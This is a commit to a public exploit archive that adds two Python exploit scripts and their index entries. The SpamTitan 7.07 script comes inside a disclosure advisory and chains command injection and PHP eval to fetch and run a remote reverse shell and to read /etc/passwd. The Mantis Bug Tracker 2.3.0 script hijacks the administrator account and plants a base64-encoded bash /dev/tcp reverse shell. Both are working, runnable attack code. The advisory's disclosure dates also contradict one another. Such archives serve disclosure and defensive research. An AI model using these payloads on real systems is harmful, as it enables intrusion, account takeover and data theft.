DB: 2020-09-19
2 changes to exploits/shellcodes SpamTitan 7.07 - Remote Code Execution (Authenticated) Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)
This commit is contained in:
parent
133dc9fc81
commit
0d8101f1a1
3 changed files with 654 additions and 0 deletions
471
exploits/multiple/webapps/48817.py
Executable file
471
exploits/multiple/webapps/48817.py
Executable file
|
@ -0,0 +1,471 @@
|
|||
# Exploit Title: SpamTitan 7.07 - Remote Code Execution (Authenticated)
|
||||
# Date: 2020-09-18
|
||||
# Exploit Author: Felipe Molina (@felmoltor)
|
||||
# Vendor Homepage: https://www.titanhq.com/spamtitan/spamtitangateway/
|
||||
# Software Link: https://www.titanhq.com/signup/?product_type=spamtitangateway
|
||||
# Version: 7.07
|
||||
# Tested on: FreeBSD
|
||||
# CVE : CVE-2020-11699, CVE-2020-11700, CVE-2020-11803, CVE-2020-11804
|
||||
|
||||
---[SPUK-2020-09/SpamTitan 7.07 Multiple Authenticated Remote Code
|
||||
Execution]------------------------------
|
||||
|
||||
SECURITY ADVISORY: SPUK-2020-09/SpamTitan 7.07 Multiple
|
||||
Authenticated Remote Code Execution
|
||||
Affected Software: SpamTitan Gateway 7.07 (possibly earlier versions)
|
||||
Vulnerability: Multiple Authenticated Remote Code Execution
|
||||
CVSSv3: 8.7
|
||||
(https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N)
|
||||
Severity: High
|
||||
Release Date: 2020-09-18
|
||||
CVEs: CVE-2020-11699, CVE-2020-11700, CVE-2020-11803,
|
||||
CVE-2020-11804
|
||||
|
||||
|
||||
I. Background
|
||||
~~~~~~~~~~~~~
|
||||
|
||||
From www.spamtitan.com:
|
||||
|
||||
"SpamTitan Gateway is a powerful Anti-Spam appliance that equips network
|
||||
administrators with extensive tools to control mail flow and protect against
|
||||
unwanted email and malware."
|
||||
|
||||
|
||||
II. Description
|
||||
~~~~~~~~~~~~~~~
|
||||
|
||||
Multiple authenticated remote code execution (RCE) vulnerabilities were found
|
||||
on the SpamTitan Gateway 7.07 and probably in pervious versions:
|
||||
|
||||
* CVE-2020-11699: Improper validation of the parameter fname on the page
|
||||
certs-x.php would allow an attacker to execute remote code on the
|
||||
target server. The user has to be authenticated before interacting with
|
||||
this page.
|
||||
* CVE-2020-11700: Improper sanitization of the parameter fname, used on the page
|
||||
certs-x.php, would allow an attacker to retrieve the contents of
|
||||
arbitrary files. The user has to be
|
||||
authenticated before interacting with this page.
|
||||
* CVE-2020-11803: Improper sanitization of the parameter jaction when
|
||||
interacting with
|
||||
the page mailqueue.php could lead to PHP code evaluation server-side,
|
||||
because the user-provided input is passed directly to the php eval()
|
||||
function. The user has to be authenticated on the web platform before
|
||||
interacting with the page.
|
||||
* CVE-2020-11804: Due to improper sanitization of the parameter qid,
|
||||
used in the page
|
||||
mailqueue.php, code injection can occur. The input for this
|
||||
parameter is provided directly by an authenticated user via an HTTP GET
|
||||
request.
|
||||
|
||||
|
||||
III. PoC
|
||||
~~~~~~~~
|
||||
|
||||
Use python 3 and install the following modules before executing: requests.
|
||||
|
||||
If your IP is 192.168.1.5 and the target SpamTitan server is
|
||||
spamtitan.example.com, call the PoC like this:
|
||||
./multirce.py -t spamtitan.example.com -i 192.168.1.5 -m <EXPLOIT
|
||||
NUMBER> -u <USER> -p <PASSWORD> -U http://192.168.1.5/rev.py
|
||||
|
||||
---------------------------------------------
|
||||
|
||||
#!/usr/bin/env python
|
||||
|
||||
# Author: Felipe Molina (@felmoltor)
|
||||
# Date: 09/04/2020
|
||||
# Python Version: 3.7
|
||||
# Summary: This is PoC for multiple authenticated RCE and Arbitrary File Read
|
||||
# 0days on SpamTitan 7.07 and previous versions.
|
||||
# Product URL: https://www.spamtitan.com/
|
||||
# Product Version: 7.07 and probably previous
|
||||
|
||||
import requests
|
||||
from requests import Timeout
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
import os
|
||||
import threading
|
||||
from optparse import OptionParser
|
||||
import socket
|
||||
import json
|
||||
import re
|
||||
from urllib.parse import urlparse
|
||||
from time import sleep
|
||||
from base64 import b64decode,b64encode
|
||||
|
||||
def myip():
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
try:
|
||||
# doesn't even have to be reachable
|
||||
s.connect(('10.255.255.255', 1))
|
||||
IP = s.getsockname()[0]
|
||||
except:
|
||||
IP = '127.0.0.1'
|
||||
finally:
|
||||
s.close()
|
||||
return IP
|
||||
|
||||
def shellServer(ip,port,quiet):
|
||||
servers = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
servers.bind((ip, port))
|
||||
servers.listen(1)
|
||||
info("Waiting for incoming connection on %s:%s" % (ip,port))
|
||||
conn, addr = servers.accept()
|
||||
conn.settimeout(1)
|
||||
success("Hurray, we got a connection from %s" % addr[0])
|
||||
|
||||
prompt =conn.recv(128)
|
||||
prompt=str(prompt.decode("utf-8")).strip()
|
||||
command = input(prompt)
|
||||
|
||||
while True:
|
||||
try:
|
||||
c = "%s\n" % (command)
|
||||
if (len(c)>0):
|
||||
conn.sendall(c.encode("utf-8"))
|
||||
# Quit the console
|
||||
if command == 'exit':
|
||||
info("\nClosing connection")
|
||||
conn.close()
|
||||
break
|
||||
else:
|
||||
completeanswer=""
|
||||
while True:
|
||||
answer=None
|
||||
try:
|
||||
answer=str((conn.recv(1024)).decode("utf-8"))
|
||||
completeanswer+=answer
|
||||
except socket.timeout:
|
||||
completeanswer.strip()
|
||||
break
|
||||
print(completeanswer,end='')
|
||||
command = input("")
|
||||
except (KeyboardInterrupt, EOFError):
|
||||
info("\nClosing connection")
|
||||
break
|
||||
|
||||
# This is an authenticated remote code execution in "certs-x.php". E.g:
|
||||
def CVE_2020_11699(cookies, target, shellurl):
|
||||
# Giving time to the maim thread to open the reverse shell listener
|
||||
sleep(5)
|
||||
oscmd="/usr/local/bin/wget %s -O /tmp/r.py;/usr/local/bin/python
|
||||
/tmp/r.py" % (shellurl)
|
||||
t1 = "%s/certs.php" % target
|
||||
t2 = "%s/certs-x.php" % target
|
||||
# get the csrf token value
|
||||
res1 = requests.get(t1,cookies=cookies,verify=False)
|
||||
m = re.search("var csrf_token_postdata
|
||||
=.*CSRFName=(.*)&CSRFToken=(.*)\";",res1.text)
|
||||
if (m is not None):
|
||||
csrfguard=m.group(1)
|
||||
csrftoken=m.group(2)
|
||||
data = {
|
||||
"CSRFName":csrfguard,
|
||||
"CSRFToken":csrftoken,
|
||||
"jaction":"deletecert",
|
||||
"fname":"dummy || $(%s)" % oscmd
|
||||
}
|
||||
info("Triggering the reverse shell in the target.")
|
||||
try:
|
||||
res2 = requests.post(t2,data=data,cookies=cookies,verify=False)
|
||||
print(res2.text)
|
||||
except Timeout:
|
||||
info("Request timed-out. You should have received already
|
||||
your reverse shell.")
|
||||
else:
|
||||
fail("CSRF tokens were not found. POST will fail.")
|
||||
|
||||
# This is an arbitrary file read on "certs-x.php"
|
||||
def CVE_2020_11700(cookies,target,file):
|
||||
fullpath="../../../..%s" % file
|
||||
|
||||
t1 = "%s/certs.php" % target
|
||||
t2 = "%s/certs-x.php" % target
|
||||
# get the csrf token value
|
||||
res1 = requests.get(t1,cookies=cookies,verify=False)
|
||||
m = re.search("var csrf_token_postdata
|
||||
=.*CSRFName=(.*)&CSRFToken=(.*)\";",res1.text)
|
||||
if (m is not None):
|
||||
csrfguard=m.group(1)
|
||||
csrftoken=m.group(2)
|
||||
data = {
|
||||
"CSRFName":csrfguard,
|
||||
"CSRFToken":csrftoken,
|
||||
"jaction":"downloadkey",
|
||||
"fname":fullpath,
|
||||
"commonname":"",
|
||||
"organization":"",
|
||||
"organizationunit":"",
|
||||
"city":"",
|
||||
"state":"",
|
||||
"country":"",
|
||||
"csrout":"",
|
||||
"pkout":"",
|
||||
"importcert":"",
|
||||
"importkey":"",
|
||||
"importchain":""
|
||||
}
|
||||
res2 = requests.post(t2,data=data,cookies=cookies,verify=False)
|
||||
if (res2.status_code == 200):
|
||||
success("Contents of the file %s" % file)
|
||||
print(res2.text)
|
||||
else:
|
||||
fail("Error obtaining the CSRF guard tokens from the page.")
|
||||
return False
|
||||
|
||||
# This is an authenticated RCE abusing PHP eval function in mailqueue.php
|
||||
def CVE_2020_11803(cookies, target, shellurl):
|
||||
# Giving time to the maim thread to open the reverse shell listener
|
||||
sleep(5)
|
||||
oscmd="/usr/local/bin/wget %s -O /tmp/r.py;/usr/local/bin/python
|
||||
/tmp/r.py" % (shellurl)
|
||||
b64=(b64encode(oscmd.encode("utf-8"))).decode("utf-8")
|
||||
payload="gotopage+a+\";$b=\"%s\";shell_exec(base64_decode(urldecode($b)));die();$b=\""
|
||||
% (b64)
|
||||
t1 = "%s/certs.php" % target
|
||||
t2 = "%s/mailqueue.php" % target
|
||||
# get the csrf token value
|
||||
res1 = requests.get(t1,cookies=cookies,verify=False)
|
||||
m = re.search("var csrf_token_postdata
|
||||
=.*CSRFName=(.*)&CSRFToken=(.*)\";",res1.text)
|
||||
if (m is not None):
|
||||
csrfguard=m.group(1)
|
||||
csrftoken=m.group(2)
|
||||
data = {
|
||||
"CSRFName":csrfguard,
|
||||
"CSRFToken":csrftoken,
|
||||
"jaction":payload,
|
||||
"activepage":"incoming",
|
||||
"incoming_count":"0",
|
||||
"active_count":"0",
|
||||
"deferred_count":"0",
|
||||
"hold_count":"0",
|
||||
"corrupt_count":"0",
|
||||
"incoming_page":"1",
|
||||
"active_page":"1",
|
||||
"deferred_page":"1",
|
||||
"hold_page":"1",
|
||||
"corrupt_page":"1",
|
||||
"incomingrfilter":None,
|
||||
"incomingfilter":None,
|
||||
"incoming_option":"hold",
|
||||
"activerfilter":None,
|
||||
"activefilter":None,
|
||||
"active_option":"hold",
|
||||
"deferredrfilter":None,
|
||||
"deferredfilter":None,
|
||||
"deferred_option":"hold",
|
||||
"holdrfilter":None,
|
||||
"holdfilter":None,
|
||||
"hold_option":"release",
|
||||
"corruptrfilter":None,
|
||||
"corruptfilter":None,
|
||||
"corrupt_option":"delete"
|
||||
}
|
||||
# We have to pass a string instead of a dict if we don't want
|
||||
the requests library to convert it to
|
||||
# an urlencoded data and break our payload
|
||||
datastr=""
|
||||
cont=0
|
||||
for k,v in data.items():
|
||||
datastr+="%s=%s" % (k,v)
|
||||
cont+=1
|
||||
if (cont<len(data)):
|
||||
datastr+="&"
|
||||
headers={
|
||||
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; rv:68.0)
|
||||
Gecko/20100101 Firefox/68.0",
|
||||
"Accept":
|
||||
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
||||
"Content-Type": "application/x-www-form-urlencoded"
|
||||
}
|
||||
try:
|
||||
res2 =
|
||||
requests.post(t2,data=datastr,cookies=cookies,headers=headers,verify=False,proxies=proxies)
|
||||
except Timeout:
|
||||
info("Request timed-out. You should have received already
|
||||
your reverse shell.")
|
||||
else:
|
||||
fail("CSRF tokens were not found. POST will fail.")
|
||||
|
||||
# This is an authenticated RCE abusing qid GET parameter in mailqueue.php
|
||||
def CVE_2020_11804(cookies, target, shellurl):
|
||||
# Giving time to the maim thread to open the reverse shell listener
|
||||
sleep(5)
|
||||
oscmd="/usr/local/bin/wget %s -O /tmp/r.py;/usr/local/bin/python
|
||||
/tmp/r.py" % (shellurl)
|
||||
payload="1;`%s`" % oscmd
|
||||
t = "%s/mailqueue.php?qid=%s" % (target,payload)
|
||||
info("Triggering the reverse shell in the target.")
|
||||
try:
|
||||
res2 = requests.get(t,cookies=cookies,verify=False)
|
||||
except Timeout:
|
||||
info("Request timed-out. You should have received already your
|
||||
reverse shell.")
|
||||
|
||||
# Authenticate to the web platform and get the cookies
|
||||
def authenticate(target,user,password):
|
||||
loginurl="%s/login.php" % target
|
||||
data={
|
||||
"jaction":"none",
|
||||
"language":"en_US",
|
||||
"address":"%s" % user,
|
||||
"passwd":"%s" % password
|
||||
}
|
||||
res = requests.post(loginurl, data=data,allow_redirects =
|
||||
False,verify=False)
|
||||
if (res.status_code == 302 and len(res.cookies.items())>0):
|
||||
return res.cookies
|
||||
else:
|
||||
return None
|
||||
|
||||
def printmsg(msg,quiet=False,msgtype="i"):
|
||||
if (not quiet):
|
||||
if (success):
|
||||
print("[%s] %s" % (msgtype,msg))
|
||||
else:
|
||||
print("[-] %s" % msg)
|
||||
|
||||
def info(msg,quiet=False):
|
||||
printmsg(msg,quiet,msgtype="i")
|
||||
|
||||
def success(msg,quiet=False):
|
||||
printmsg(msg,quiet,msgtype="+")
|
||||
|
||||
def fail(msg,quiet=False):
|
||||
printmsg(msg,quiet,msgtype="-")
|
||||
|
||||
def parseoptions():
|
||||
parser = OptionParser()
|
||||
parser.add_option("-t", "--target", dest="target",
|
||||
help="Target SpamTitan URL to attack. E.g.:
|
||||
https://spamtitan.com/", default=None)
|
||||
parser.add_option("-m", "--method", dest="method",
|
||||
help="Exploit number: (1) CVE-2020-11699 [RCE],
|
||||
(2) CVE-2020-XXXX [RCE], (3) CVE-2020-XXXX2 [RCE], (4) CVE-2020-11700
|
||||
[File Read]", default=1)
|
||||
parser.add_option("-u", "--user", dest="user",
|
||||
help="Username to authenticate with. Default:
|
||||
admin", default="admin")
|
||||
parser.add_option("-p", "--password", dest="password",
|
||||
help="Password to authenticate with. Default:
|
||||
hiadmin", default="hiadmin")
|
||||
parser.add_option("-I", "--ip", dest="ip",
|
||||
help="Local IP where to listen for the reverse
|
||||
shell. Default: %s" % myip(), default=myip())
|
||||
parser.add_option("-P", "--port", dest="port",
|
||||
help="Local Port where to listen for the reverse
|
||||
shell. Default: 4242", default=4242)
|
||||
parser.add_option("-U", "--URL", dest="shellurl",
|
||||
help="HTTP URL path where the reverse shell is
|
||||
located. Default: http://%s/rev.py" % myip(),
|
||||
default="http://%s/rev.py" % myip())
|
||||
parser.add_option("-f", "--filetoread", dest="filtetoread",
|
||||
help="Full path of the file to read from the
|
||||
remote server when executing CVE-2020-11700. Default: /etc/passwd",
|
||||
default="/etc/passwd")
|
||||
parser.add_option("-q", "--quiet",
|
||||
action="store_true", dest="quiet", default=False,
|
||||
help="Shut up script! Just give me the shell.")
|
||||
|
||||
return parser.parse_args()
|
||||
|
||||
def main():
|
||||
(options,arguments) = parseoptions()
|
||||
quiet = options.quiet
|
||||
target = options.target
|
||||
ip = options.ip
|
||||
port = options.port
|
||||
user = options.user
|
||||
password = options.password
|
||||
shellurl = options.shellurl
|
||||
method = int(options.method)
|
||||
rfile = options.filtetoread
|
||||
|
||||
# Sanitize options
|
||||
if (target is None):
|
||||
fail("Error. Specify a target (-t).")
|
||||
exit(1)
|
||||
else:
|
||||
if (not target.startswith("http://") and not
|
||||
target.startswith("https://")):
|
||||
target = "http://%s" % target
|
||||
|
||||
if (method < 1 or method > 4):
|
||||
fail("Error. Specify a method from 1 to 4:\n (1)
|
||||
CVE-2020-11699 [RCE]\n (2) CVE-2020-XXXX [RCE]\n (3) CVE-2020-XXXX2
|
||||
[RCE]\n (4) CVE-2020-11700 [File Read]")
|
||||
exit(1)
|
||||
|
||||
# Before doing anything, login
|
||||
cookies = authenticate(target,user,password)
|
||||
if (cookies is not None):
|
||||
success("User logged in successfully.")
|
||||
if (method == 1):
|
||||
info("Exploiting CVE-2020-11699 to get a reverse shell on
|
||||
%s:%s" % (ip,port),quiet)
|
||||
rev_thread = threading.Thread(target=CVE_2020_11699,
|
||||
args=(cookies,target,shellurl))
|
||||
rev_thread.start()
|
||||
# Open the reverse shell listener in this main thread
|
||||
info("Spawning a reverse shell listener. Wait for it...")
|
||||
shellServer(options.ip,int(options.port),options.quiet)
|
||||
elif (method == 2):
|
||||
info("Exploiting CVE-2020-11803 to get a reverse shell on
|
||||
%s:%s" % (ip,port),quiet)
|
||||
rev_thread = threading.Thread(target=CVE_2020_11803,
|
||||
args=(cookies,target,shellurl))
|
||||
rev_thread.start()
|
||||
# Open the reverse shell listener in this main thread
|
||||
info("Spawning a reverse shell listener. Wait for it...")
|
||||
shellServer(options.ip,int(options.port),options.quiet)
|
||||
elif (method == 3):
|
||||
info("Exploiting CVE-2020-11804 to get a reverse shell on
|
||||
%s:%s" % (ip,port),quiet)
|
||||
rev_thread = threading.Thread(target=CVE_2020_11804,
|
||||
args=(cookies,target,shellurl))
|
||||
rev_thread.start()
|
||||
# Open the reverse shell listener in this main thread
|
||||
info("Spawning a reverse shell listener. Wait for it...")
|
||||
shellServer(options.ip,int(options.port),options.quiet)
|
||||
elif (method == 4):
|
||||
info("Reading file '%s' by abusing CVE-2020-11700." % rfile, quiet)
|
||||
CVE_2020_11700(cookies,target,rfile)
|
||||
else:
|
||||
fail("Error authenticating. Are you providing valid credentials?")
|
||||
exit(2)
|
||||
|
||||
exit(0)
|
||||
|
||||
main()
|
||||
|
||||
---------------------------------------------
|
||||
|
||||
III. Impact
|
||||
~~~~~~~~~~~
|
||||
|
||||
Loss of confidentiality, integrity and availability of several files in the
|
||||
target server, as well as loss of availability of several services running
|
||||
in the SpamTitan.
|
||||
Confidentiality of critical system files, such as /etc/passwd or /etc/pwd.db
|
||||
would be highly impacted.
|
||||
|
||||
IV. Disclosure
|
||||
~~~~~~~~~~~~~~
|
||||
|
||||
Reported By: Felipe Molina de la Torre
|
||||
Vendor Informed: 2020-04-17
|
||||
Patch Release Date: 2019-05-26
|
||||
Advisory Release Date: 2019-09-18
|
||||
|
||||
V. References
|
||||
~~~~~~~~~~~~~
|
||||
* https://sensepost.com/blog/2020/clash-of-the-spamtitan/
|
||||
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11699
|
||||
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11700
|
||||
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11803
|
||||
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11804
|
||||
|
||||
---------------------------------[SPUK-2020-09/SpamTitan 7.07 Multiple
|
||||
Authenticated Remote Code Execution]---
|
181
exploits/php/webapps/48818.py
Executable file
181
exploits/php/webapps/48818.py
Executable file
|
@ -0,0 +1,181 @@
|
|||
# Exploit Title: Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)
|
||||
# Date: 2020-09-17
|
||||
# Vulnerability Discovery: hyp3rlinx, permanull
|
||||
# Exploit Author: Nikolas Geiselman
|
||||
# Vendor Homepage: https://mantisbt.org/
|
||||
# Software Link: https://mantisbt.org/download.php
|
||||
# Version: 1.3.0/2.3.0
|
||||
# Tested on: Ubuntu 16.04/19.10/20.04
|
||||
# CVE : CVE-2017-7615, CVE-2019-15715
|
||||
# References:
|
||||
# https://mantisbt.org/bugs/view.php?id=26091
|
||||
# https://www.exploit-db.com/exploits/41890
|
||||
|
||||
'''
|
||||
|
||||
This exploit chains together two CVE's to achieve unauthenticated remote code execution.
|
||||
The first portion of this exploit resets the Administrator password (CVE-2017-7615) discovered by John Page a.k.a hyp3rlinx, this portion was modified from the original https://www.exploit-db.com/exploits/41890.
|
||||
The second portion of this exploit takes advantage of a command injection vulnerability (CVE-2019-15715) discovered by 'permanull' (see references).
|
||||
|
||||
Usage:
|
||||
Set netcat listener on port 4444
|
||||
Send exploit with "python exploit.py"
|
||||
|
||||
Example output:
|
||||
|
||||
kali@kali:~/Desktop$ python exploit.py
|
||||
Successfully hijacked account!
|
||||
Successfully logged in!
|
||||
Triggering reverse shell
|
||||
Cleaning up
|
||||
Deleting the dot_tool config.
|
||||
Deleting the relationship_graph_enable config.
|
||||
Successfully cleaned up
|
||||
|
||||
|
||||
kali@kali:~/Desktop$ nc -nvlp 4444
|
||||
listening on [any] 4444 ...
|
||||
connect to [192.168.116.135] from (UNKNOWN) [192.168.116.151] 43978
|
||||
bash: cannot set terminal process group (835): Inappropriate ioctl for device
|
||||
bash: no job control in this shell
|
||||
www-data@ubuntu:/var/www/html/mantisbt-2.3.0$ id
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
|
||||
'''
|
||||
|
||||
import requests
|
||||
from urllib import quote_plus
|
||||
from base64 import b64encode
|
||||
from re import split
|
||||
|
||||
|
||||
class exploit():
|
||||
def __init__(self):
|
||||
self.s = requests.Session()
|
||||
self.headers = dict() # Initialize the headers dictionary
|
||||
self.RHOST = "192.168.116.151" # Victim IP
|
||||
self.RPORT = "80" # Victim port
|
||||
self.LHOST = "192.168.116.135" # Attacker IP
|
||||
self.LPORT = "4444" # Attacker Port
|
||||
self.verify_user_id = "1" # User id for the target account
|
||||
self.realname = "administrator" # Username to hijack
|
||||
self.passwd = "password" # New password after account hijack
|
||||
self.mantisLoc = "/mantisbt-2.3.0" # Location of mantis in URL
|
||||
self.ReverseShell = "echo " + b64encode("bash -i >& /dev/tcp/" + self.LHOST + "/" + self.LPORT + " 0>&1") + " | base64 -d | /bin/bash" # Reverse shell payload
|
||||
|
||||
|
||||
def reset_login(self):
|
||||
# Request # 1: Grab the account update token
|
||||
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/verify.php?id=' + self.verify_user_id + '&confirm_hash='
|
||||
r = self.s.get(url=url,headers=self.headers)
|
||||
if r.status_code == 404:
|
||||
print "ERROR: Unable to access password reset page"
|
||||
exit()
|
||||
|
||||
account_update_token = r.text.split('name="account_update_token" value=')[1].split('"')[1]
|
||||
|
||||
# Request # 2: Reset the account password
|
||||
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/account_update.php'
|
||||
data = "account_update_token=" + account_update_token + "&password=" + self.passwd + "&verify_user_id=" + self.verify_user_id + "&realname=" + self.realname + "&password_confirm=" + self.passwd
|
||||
self.headers.update({'Content-Type':'application/x-www-form-urlencoded'})
|
||||
r = self.s.post(url=url, headers=self.headers, data=data)
|
||||
|
||||
if r.status_code == 200:
|
||||
print "Successfully hijacked account!"
|
||||
|
||||
|
||||
def login(self):
|
||||
data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"
|
||||
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'
|
||||
|
||||
r = self.s.post(url=url,headers=self.headers,data=data)
|
||||
if "login_page.php" not in r.url:
|
||||
print "Successfully logged in!"
|
||||
|
||||
|
||||
def CreateConfigOption(self, option, value):
|
||||
# Get adm_config_set_token
|
||||
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_report.php'
|
||||
r = self.s.get(url=url, headers=self.headers)
|
||||
|
||||
adm_config_set_token = r.text.split('name="adm_config_set_token" value=')[1].split('"')[1]
|
||||
|
||||
# Create config
|
||||
data = "adm_config_set_token=" + adm_config_set_token + "&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=" + option + "&original_config_option=&type=0&value=" + quote_plus(value) + "&action=create&config_set=Create+Configuration+Option"
|
||||
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_set.php'
|
||||
r = self.s.post(url=url, headers=self.headers, data=data)
|
||||
|
||||
|
||||
def TriggerExploit(self):
|
||||
print "Triggering reverse shell"
|
||||
|
||||
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/workflow_graph_img.php'
|
||||
try:
|
||||
r = self.s.get(url=url,headers=self.headers, timeout=3)
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
def Cleanup(self):
|
||||
# Delete the config settings that were created to send the reverse shell
|
||||
print "Cleaning up"
|
||||
|
||||
cleaned_up = False
|
||||
|
||||
cleanup = requests.Session()
|
||||
|
||||
CleanupHeaders = dict()
|
||||
CleanupHeaders.update({'Content-Type':'application/x-www-form-urlencoded'})
|
||||
|
||||
data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"
|
||||
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'
|
||||
r = cleanup.post(url=url,headers=CleanupHeaders,data=data)
|
||||
|
||||
ConfigsToCleanup = ['dot_tool','relationship_graph_enable']
|
||||
|
||||
for config in ConfigsToCleanup:
|
||||
# Get adm_config_delete_token
|
||||
url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php"
|
||||
r = cleanup.get(url=url, headers=self.headers)
|
||||
test = split('<!-- Repeated Info Rows -->',r.text)
|
||||
|
||||
# First element of the response list is garbage, delete it
|
||||
del test[0]
|
||||
|
||||
cleanup_dict = dict()
|
||||
for i in range(len(test)):
|
||||
if config in test[i]:
|
||||
cleanup_dict.update({'config_option':config})
|
||||
cleanup_dict.update({'adm_config_delete_token':test[i].split('name="adm_config_delete_token" value=')[1].split('"')[1]})
|
||||
cleanup_dict.update({'user_id':test[i].split('name="user_id" value=')[1].split('"')[1]})
|
||||
cleanup_dict.update({'project_id':test[i].split('name="project_id" value=')[1].split('"')[1]})
|
||||
|
||||
|
||||
# Delete the config
|
||||
print "Deleting the " + config + " config."
|
||||
|
||||
url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_delete.php"
|
||||
data = "adm_config_delete_token=" + cleanup_dict['adm_config_delete_token'] + "&user_id=" + cleanup_dict['user_id'] + "&project_id=" + cleanup_dict['project_id'] + "&config_option=" + cleanup_dict['config_option'] + "&_confirmed=1"
|
||||
r = cleanup.post(url=url,headers=CleanupHeaders,data=data)
|
||||
|
||||
#Confirm if actually cleaned up
|
||||
r = cleanup.get(url="http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php", headers=CleanupHeaders, verify=False)
|
||||
if config in r.text:
|
||||
cleaned_up = False
|
||||
else:
|
||||
cleaned_up = True
|
||||
|
||||
if cleaned_up == True:
|
||||
print "Successfully cleaned up"
|
||||
else:
|
||||
print "Unable to clean up configs"
|
||||
|
||||
|
||||
exploit = exploit()
|
||||
exploit.reset_login()
|
||||
exploit.login()
|
||||
exploit.CreateConfigOption(option="relationship_graph_enable",value="1")
|
||||
exploit.CreateConfigOption(option="dot_tool",value= exploit.ReverseShell + ';')
|
||||
exploit.TriggerExploit()
|
||||
exploit.Cleanup()
|
|
@ -40641,6 +40641,8 @@ id,file,description,date,author,type,platform,port
|
|||
48812,exploits/php/webapps/48812.txt,"ThinkAdmin 6 - Arbitrarily File Read",2020-09-15,Hzllaga,webapps,php,
|
||||
48813,exploits/php/webapps/48813.txt,"Tailor MS 1.0 - Reflected Cross-Site Scripting",2020-09-15,boku,webapps,php,
|
||||
48814,exploits/php/webapps/48814.txt,"Piwigo 2.10.1 - Cross Site Scripting",2020-09-16,Iridium,webapps,php,
|
||||
48817,exploits/multiple/webapps/48817.py,"SpamTitan 7.07 - Remote Code Execution (Authenticated)",2020-09-18,"Felipe Molina",webapps,multiple,
|
||||
48818,exploits/php/webapps/48818.py,"Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)",2020-09-18,"Nikolas Geiselman",webapps,php,
|
||||
42884,exploits/multiple/webapps/42884.py,"Fibaro Home Center 2 - Remote Command Execution / Privilege Escalation",2017-02-22,forsec,webapps,multiple,
|
||||
42805,exploits/php/webapps/42805.txt,"WordPress Plugin WPAMS - SQL Injection",2017-09-26,"Ihsan Sencan",webapps,php,
|
||||
42889,exploits/php/webapps/42889.txt,"Trend Micro OfficeScan 11.0/XG (12.0) - Private Key Disclosure",2017-09-28,hyp3rlinx,webapps,php,
|
||||
|
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue